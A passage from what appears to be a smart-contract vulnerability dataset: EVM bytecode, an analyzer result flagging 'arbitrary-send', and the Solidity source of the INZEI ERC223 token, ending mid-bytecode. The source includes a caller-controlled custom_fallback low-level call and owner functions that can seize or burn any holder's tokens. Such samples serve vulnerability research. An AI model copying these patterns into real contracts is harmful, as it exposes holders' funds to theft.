0860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60065481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610bb257600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515610bee57600080fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600080831415610cbf5760009050610cde565b8183029050818382811515610cd057fe5b04141515610cda57fe5b8090505b92915050565b60008183019050828110151515610cf757fe5b80905092915050565b6000828211151515610d0e57fe5b818303905092915050565b60007f6ffa1d489045d96c2691a9c911b5cd15308401f6c62def7cf8f32653d8d70b2460008484604051808473ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001828152602001935050505060405180910390a1600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16636c197ff584846040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015610e6a57600080fd5b505af1158015610e7e573d6000803e3d6000fd5b505050506040513d6020811015610e9457600080fd5b81019080805190602001909291905050509050929150505600a165627a7a723058207f7407e2fb733059ad3076bae1276d605555de9c818dd8e5f9e79c449899513a0029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 3,524 |
0x36f0deb0af8ab453b6b4fcc8b0b7fe2f1b44e55f
|
pragma solidity ^0.4.19;
/**
* @title ContractReceiver
* @dev Receiver for ERC223 tokens
*/
contract ContractReceiver {
struct TKN {
address sender;
uint value;
bytes data;
bytes4 sig;
}
function tokenFallback(address _from, uint _value, bytes _data) public pure {
TKN memory tkn;
tkn.sender = _from;
tkn.value = _value;
tkn.data = _data;
uint32 u = uint32(_data[3]) + (uint32(_data[2]) << 8) + (uint32(_data[1]) << 16) + (uint32(_data[0]) << 24);
tkn.sig = bytes4(u);
/* tkn variable is analogue of msg variable of Ether transaction
* tkn.sender is person who initiated this token transaction (analogue of msg.sender)
* tkn.value the number of tokens that were sent (analogue of msg.value)
* tkn.data is data of token transaction (analogue of msg.data)
* tkn.sig is 4 bytes signature of function
* if data of token transaction is a function execution
*/
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC223 {
uint public totalSupply;
function name() public view returns (string _name);
function symbol() public view returns (string _symbol);
function decimals() public view returns (uint8 _decimals);
function totalSupply() public view returns (uint256 _supply);
function balanceOf(address who) public view returns (uint);
function transfer(address to, uint value) public returns (bool ok);
function transfer(address to, uint value, bytes data) public returns (bool ok);
function transfer(address to, uint value, bytes data, string custom_fallback) public returns (bool ok);
event Transfer(address indexed from, address indexed to, uint value, bytes indexed data);
}
contract INZEI is ERC223, Ownable {
using SafeMath for uint256;
string public name = "INZEI";
string public symbol = "INZ";
uint8 public decimals = 8;
uint256 public initialSupply = 10e9 * 1e8;
uint256 public totalSupply;
uint256 public distributeAmount = 0;
bool public mintingFinished = false;
mapping (address => uint) balances;
mapping (address => bool) public frozenAccount;
mapping (address => uint256) public unlockUnixTime;
event FrozenFunds(address indexed target, bool frozen);
event LockedFunds(address indexed target, uint256 locked);
event Burn(address indexed burner, uint256 value);
event Mint(address indexed to, uint256 amount);
event MintFinished();
function INZEI() public {
totalSupply = initialSupply;
balances[msg.sender] = totalSupply;
}
function name() public view returns (string _name) {
return name;
}
function symbol() public view returns (string _symbol) {
return symbol;
}
function decimals() public view returns (uint8 _decimals) {
return decimals;
}
function totalSupply() public view returns (uint256 _totalSupply) {
return totalSupply;
}
function balanceOf(address _owner) public view returns (uint balance) {
return balances[_owner];
}
modifier onlyPayloadSize(uint256 size){
assert(msg.data.length >= size + 4);
_;
}
// Function that is called when a user or another contract wants to transfer funds .
function transfer(address _to, uint _value, bytes _data, string _custom_fallback) public returns (bool success) {
require(_value > 0
&& frozenAccount[msg.sender] == false
&& frozenAccount[_to] == false
&& now > unlockUnixTime[msg.sender]
&& now > unlockUnixTime[_to]);
if(isContract(_to)) {
if (balanceOf(msg.sender) < _value) revert();
balances[msg.sender] = SafeMath.sub(balanceOf(msg.sender), _value);
balances[_to] = SafeMath.add(balanceOf(_to), _value);
assert(_to.call.value(0)(bytes4(keccak256(_custom_fallback)), msg.sender, _value, _data));
Transfer(msg.sender, _to, _value, _data);
return true;
}
else {
return transferToAddress(_to, _value, _data);
}
}
// Function that is called when a user or another contract wants to transfer funds .
function transfer(address _to, uint _value, bytes _data) public returns (bool success) {
require(_value > 0
&& frozenAccount[msg.sender] == false
&& frozenAccount[_to] == false
&& now > unlockUnixTime[msg.sender]
&& now > unlockUnixTime[_to]);
if(isContract(_to)) {
return transferToContract(_to, _value, _data);
}
else {
return transferToAddress(_to, _value, _data);
}
}
// Standard function transfer similar to ERC20 transfer with no _data .
// Added due to backwards compatibility reasons .
function transfer(address _to, uint _value) public returns (bool success) {
require(_value > 0
&& frozenAccount[msg.sender] == false
&& frozenAccount[_to] == false
&& now > unlockUnixTime[msg.sender]
&& now > unlockUnixTime[_to]);
//standard function transfer similar to ERC20 transfer with no _data
//added due to backwards compatibility reasons
bytes memory empty;
if(isContract(_to)) {
return transferToContract(_to, _value, empty);
}
else {
return transferToAddress(_to, _value, empty);
}
}
// assemble the given address bytecode. If bytecode exists then the _addr is a contract.
function isContract(address _addr) private view returns (bool is_contract) {
uint length;
assembly {
// retrieve the size of the code on target address, this needs assembly
length := extcodesize(_addr)
}
return (length>0);
}
// function that is called when transaction target is an address
function transferToAddress(address _to, uint _value, bytes _data) private returns (bool success) {
if (balanceOf(msg.sender) < _value) revert();
balances[msg.sender] = SafeMath.sub(balanceOf(msg.sender), _value);
balances[_to] = SafeMath.add(balanceOf(_to), _value);
Transfer(msg.sender, _to, _value, _data);
return true;
}
//function that is called when transaction target is a contract
function transferToContract(address _to, uint _value, bytes _data) private returns (bool success) {
if (balanceOf(msg.sender) < _value) revert();
balances[msg.sender] = SafeMath.sub(balanceOf(msg.sender), _value);
balances[_to] = SafeMath.add(balanceOf(_to), _value);
ContractReceiver receiver = ContractReceiver(_to);
receiver.tokenFallback(msg.sender, _value, _data);
Transfer(msg.sender, _to, _value, _data);
return true;
}
/**
* @dev Prevent targets from sending or receiving tokens
* @param targets Addresses to be frozen
* @param isFrozen either to freeze it or not
*/
function freezeAccounts(address[] targets, bool isFrozen) onlyOwner public {
require(targets.length > 0);
for (uint i = 0; i < targets.length; i++) {
require(targets[i] != 0x0);
frozenAccount[targets[i]] = isFrozen;
FrozenFunds(targets[i], isFrozen);
}
}
/**
* @dev Prevent targets from sending or receiving tokens by setting Unix times
* @param targets Addresses to be locked funds
* @param unixTimes Unix times when locking up will be finished
*/
function lockupAccounts(address[] targets, uint[] unixTimes) onlyOwner public {
require(targets.length > 0
&& targets.length == unixTimes.length);
for(uint i = 0; i < targets.length; i++){
require(unlockUnixTime[targets[i]] < unixTimes[i]);
unlockUnixTime[targets[i]] = unixTimes[i];
LockedFunds(targets[i], unixTimes[i]);
}
}
/**
* @dev Burns a specific amount of tokens.
* @param _from The address that will burn the tokens.
* @param _unitAmount The amount of token to be burned.
*/
function burn(address _from, uint256 _unitAmount) onlyOwner public {
require(_unitAmount > 0
&& balanceOf(_from) >= _unitAmount);
balances[_from] = SafeMath.sub(balances[_from], _unitAmount);
totalSupply = SafeMath.sub(totalSupply, _unitAmount);
Burn(_from, _unitAmount);
}
modifier canMint() {
require(!mintingFinished);
_;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _unitAmount The amount of tokens to mint.
*/
function mint(address _to, uint256 _unitAmount) onlyOwner canMint public returns (bool) {
require(_unitAmount > 0);
totalSupply = SafeMath.add(totalSupply, _unitAmount);
balances[_to] = SafeMath.add(balances[_to], _unitAmount);
Mint(_to, _unitAmount);
bytes memory empty;
Transfer(address(0), _to, _unitAmount, empty);
return true;
}
/**
* @dev Function to stop minting new tokens.
*/
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
/**
* @dev Function to distribute tokens to the list of addresses by the provided amount
*/
function distributeTokens(address[] addresses, uint256 amount) public returns (bool) {
require(amount > 0
&& addresses.length > 0
&& frozenAccount[msg.sender] == false
&& now > unlockUnixTime[msg.sender]);
amount = SafeMath.mul(amount, 1e8);
uint256 totalAmount = SafeMath.mul(amount, addresses.length);
require(balances[msg.sender] >= totalAmount);
bytes memory empty;
for (uint i = 0; i < addresses.length; i++) {
require(addresses[i] != 0x0
&& frozenAccount[addresses[i]] == false
&& now > unlockUnixTime[addresses[i]]);
balances[addresses[i]] = SafeMath.add(balances[addresses[i]], amount);
Transfer(msg.sender, addresses[i], amount, empty);
}
balances[msg.sender] = SafeMath.sub(balances[msg.sender], totalAmount);
return true;
}
/**
* @dev Function to collect tokens from the list of addresses
*/
function collectTokens(address[] addresses, uint[] amounts) onlyOwner public returns (bool) {
require(addresses.length > 0
&& addresses.length == amounts.length);
uint256 totalAmount = 0;
bytes memory empty;
for (uint i = 0; i < addresses.length; i++) {
require(amounts[i] > 0
&& addresses[i] != 0x0
&& frozenAccount[addresses[i]] == false
&& now > unlockUnixTime[addresses[i]]);
amounts[i] = SafeMath.mul(amounts[i], 1e8);
require(balances[addresses[i]] >= amounts[i]);
balances[addresses[i]] = SafeMath.sub(balances[addresses[i]], amounts[i]);
totalAmount = SafeMath.add(totalAmount, amounts[i]);
Transfer(addresses[i], msg.sender, amounts[i], empty);
}
balances[msg.sender] = SafeMath.add(balances[msg.sender], totalAmount);
return true;
}
function setDistributeAmount(uint256 _unitAmount) onlyOwner public {
distributeAmount = _unitAmount;
}
/**
* @dev Function to distribute tokens to the msg.sender automatically
* If distributeAmount is 0, this function doesn't work
*/
function autoDistribute() payable public {
require(distributeAmount > 0
&& balanceOf(owner) >= distributeAmount
&& frozenAccount[msg.sender] == false
&& now > unlockUnixTime[msg.sender]);
if (msg.value > 0) owner.transfer(msg.value);
bytes memory empty;
balances[owner] = SafeMath.sub(balances[owner], distributeAmount);
balances[msg.sender] = SafeMath.add(balances[msg.sender], distributeAmount);
Transfer(owner, msg.sender, distributeAmount, empty);
}
/**
* @dev token fallback function
*/
function() payable public {
autoDistribute();
}
}
|
0x60606040526004361061013e576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806305d2035b1461014857806306fdde031461017557806318160ddd14610203578063256fa2411461022c578063313ce567146102a7578063378dc3dc146102d657806340c10f19146102ff5780634f25eced1461035957806364ddc6051461038257806370a082311461041c5780637d64bcb4146104695780638da5cb5b1461049657806395d89b41146104eb5780639dc29fac14610579578063a8f11eb9146105bb578063a9059cbb146105c5578063b414d4b61461061f578063be45fd6214610670578063c341b9f61461070d578063cbbe974b14610772578063d39b1d48146107bf578063f0dc4171146107e2578063f2fde38b14610894578063f6368f8a146108cd575b6101466109ad565b005b341561015357600080fd5b61015b610d5f565b604051808215151515815260200191505060405180910390f35b341561018057600080fd5b610188610d72565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101c85780820151818401526020810190506101ad565b50505050905090810190601f1680156101f55780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561020e57600080fd5b610216610e1a565b6040518082815260200191505060405180910390f35b341561023757600080fd5b61028d600480803590602001908201803590602001908080602002602001604051908101604052809392919081815260200183836020028082843782019150505050505091908035906020019091905050610e24565b604051808215151515815260200191505060405180910390f35b34156102b257600080fd5b6102ba6112bb565b604051808260ff1660ff16815260200191505060405180910390f35b34156102e157600080fd5b6102e96112d2565b6040518082815260200191505060405180910390f35b341561030a57600080fd5b61033f600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506112d8565b604051808215151515815260200191505060405180910390f35b341561036457600080fd5b61036c611529565b6040518082815260200191505060405180910390f35b341561038d57600080fd5b61041a6004808035906020019082018035906020019080806020026020016040519081016040528093929190818152602001838360200280828437820191505050505050919080359060200190820180359060200190808060200260200160405190810160405280939291908181526020018383602002808284378201915050505050509190505061152f565b005b341561042757600080fd5b610453600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611733565b6040518082815260200191505060405180910390f35b341561047457600080fd5b61047c61177c565b604051808215151515815260200191505060405180910390f35b34156104a157600080fd5b6104a9611844565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156104f657600080fd5b6104fe61186a565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561053e578082015181840152602081019050610523565b50505050905090810190601f16801561056b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561058457600080fd5b6105b9600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611912565b005b6105c36109ad565b005b34156105d057600080fd5b610605600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611a81565b604051808215151515815260200191505060405180910390f35b341561062a57600080fd5b610656600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611c1b565b604051808215151515815260200191505060405180910390f35b341561067b57600080fd5b6106f3600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050611c3b565b604051808215151515815260200191505060405180910390f35b341561071857600080fd5b6107706004808035906020019082018035906020019080806020026020016040519081016040528093929190818152602001838360200280828437820191505050505050919080351515906020019091905050611dcc565b005b341561077d57600080fd5b6107a9600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611f6e565b6040518082815260200191505060405180910390f35b34156107ca57600080fd5b6107e06004808035906020019091905050611f86565b005b34156107ed57600080fd5b61087a60048080359060200190820180359060200190808060200260200160405190810160405280939291908181526020018383602002808284378201915050505050509190803590602001908201803590602001908080602002602001604051908101604052809392919081815260200183836020028082843782019150505050505091905050611fec565b604051808215151515815260200191505060405180910390f35b341561089f57600080fd5b6108cb600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050612505565b005b34156108d857600080fd5b610993600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509190505061265d565b604051808215151515815260200191505060405180910390f35b6109b5612fc3565b60006007541180156109f357506007546109f0600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16611733565b10155b8015610a4f575060001515600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515145b8015610a995750600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205442115b1515610aa457600080fd5b6000341115610b1057600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc349081150290604051600060405180830381858888f193505050501515610b0f57600080fd5b5b610b7d60096000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600754612aee565b60096000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610c2d600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600754612b07565b600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550806040518082805190602001908083835b602083101515610ca65780518252602082019150602081019050602083039250610c81565b6001836020036101000a03801982511681845116808217855250505050505090500191505060405180910390203373ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c166007546040518082815260200191505060405180910390a450565b600860009054906101000a900460ff1681565b610d7a612fd7565b60028054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610e105780601f10610de557610100808354040283529160200191610e10565b820191906000526020600020905b815481529060010190602001808311610df357829003601f168201915b5050505050905090565b6000600654905090565b600080610e2f612fc3565b60008085118015610e41575060008651115b8015610e9d575060001515600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515145b8015610ee75750600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205442115b1515610ef257600080fd5b610f00856305f5e100612b25565b9450610f0d858751612b25565b925082600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410151515610f5d57600080fd5b600090505b85518110156112225760008682815181101515610f7b57fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1614158015611010575060001515600a60008884815181101515610fba57fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515145b80156110715750600b6000878381518110151561102957fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205442115b151561107c57600080fd5b6110dc60096000888481518110151561109157fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205486612b07565b6009600088848151811015156110ee57fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816040518082805190602001908083835b60208310151561116c5780518252602082019150602081019050602083039250611147565b6001836020036101000a038019825116818451168082178552505050505050905001915050604051809103902086828151811015156111a757fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c16886040518082815260200191505060405180910390a48080600101915050610f62565b61126b600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205484612aee565b600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506001935050505092915050565b6000600460009054906101000a900460ff16905090565b60055481565b60006112e2612fc3565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561133e57600080fd5b600860009054906101000a900460ff1615151561135a57600080fd5b60008311151561136957600080fd5b61137560065484612b07565b6006819055506113c4600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205484612b07565b600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff167f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d4121396885846040518082815260200191505060405180910390a2806040518082805190602001908083835b60208310151561148b5780518252602082019150602081019050602083039250611466565b6001836020036101000a03801982511681845116808217855250505050505090500191505060405180910390208473ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c16866040518082815260200191505060405180910390a4600191505092915050565b60075481565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561158d57600080fd5b6000835111801561159f575081518351145b15156115aa57600080fd5b600090505b825181101561172e5781818151811015156115c657fe5b90602001906020020151600b600085848151811015156115e257fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410151561163357600080fd5b818181518110151561164157fe5b90602001906020020151600b6000858481518110151561165d57fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555082818151811015156116b357fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff167f1bd6fb9fa2c39ce5d0d2afa1eaba998963eb5f553fd862c94f131aa9e35c1577838381518110151561170257fe5b906020019060200201516040518082815260200191505060405180910390a280806001019150506115af565b505050565b6000600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156117da57600080fd5b600860009054906101000a900460ff161515156117f657600080fd5b6001600860006101000a81548160ff0219169083151502179055507fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0860405160405180910390a16001905090565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b611872612fd7565b60038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156119085780601f106118dd57610100808354040283529160200191611908565b820191906000526020600020905b8154815290600101906020018083116118eb57829003601f168201915b5050505050905090565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561196e57600080fd5b60008111801561198657508061198383611733565b10155b151561199157600080fd5b6119da600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482612aee565b600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611a2960065482612aee565b6006819055508173ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5826040518082815260200191505060405180910390a25050565b6000611a8b612fc3565b600083118015611aeb575060001515600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515145b8015611b47575060001515600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515145b8015611b915750600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205442115b8015611bdb5750600b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205442115b1515611be657600080fd5b611bef84612b60565b15611c0657611bff848483612b73565b9150611c14565b611c11848483612e2f565b91505b5092915050565b600a6020528060005260406000206000915054906101000a900460ff1681565b60008083118015611c9c575060001515600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515145b8015611cf8575060001515600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515145b8015611d425750600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205442115b8015611d8c5750600b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205442115b1515611d9757600080fd5b611da084612b60565b15611db757611db0848484612b73565b9050611dc5565b611dc2848484612e2f565b90505b9392505050565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611e2a57600080fd5b60008351111515611e3a57600080fd5b600090505b8251811015611f695760008382815181101515611e5857fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1614151515611e8557600080fd5b81600a60008584815181101515611e9857fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508281815181101515611f0157fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff167f48335238b4855f35377ed80f164e8c6f3c366e54ac00b96a6402d4a9814a03a583604051808215151515815260200191505060405180910390a28080600101915050611e3f565b505050565b600b6020528060005260406000206000915090505481565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611fe257600080fd5b8060078190555050565b600080611ff7612fc3565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561205557600080fd5b60008651118015612067575084518651145b151561207257600080fd5b60009250600090505b855181101561246c576000858281518110151561209457fe5b906020019060200201511180156120d95750600086828151811015156120b657fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1614155b801561214c575060001515600a600088848151811015156120f657fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515145b80156121ad5750600b6000878381518110151561216557fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205442115b15156121b857600080fd5b6121dd85828151811015156121c957fe5b906020019060200201516305f5e100612b25565b85828151811015156121eb57fe5b9060200190602002018181525050848181518110151561220757fe5b9060200190602002015160096000888481518110151561222357fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015151561227557600080fd5b6122ec60096000888481518110151561228a57fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205486838151811015156122dd57fe5b90602001906020020151612aee565b6009600088848151811015156122fe57fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061236783868381518110151561235857fe5b90602001906020020151612b07565b9250816040518082805190602001908083835b60208310151561239f578051825260208201915060208101905060208303925061237a565b6001836020036101000a03801982511681845116808217855250505050505090500191505060405180910390203373ffffffffffffffffffffffffffffffffffffffff1687838151811015156123f157fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff167fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c16888581518110151561244057fe5b906020019060200201516040518082815260200191505060405180910390a4808060010191505061207b565b6124b5600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205484612b07565b600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506001935050505092915050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561256157600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561259d57600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600080841180156126be575060001515600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000905490610100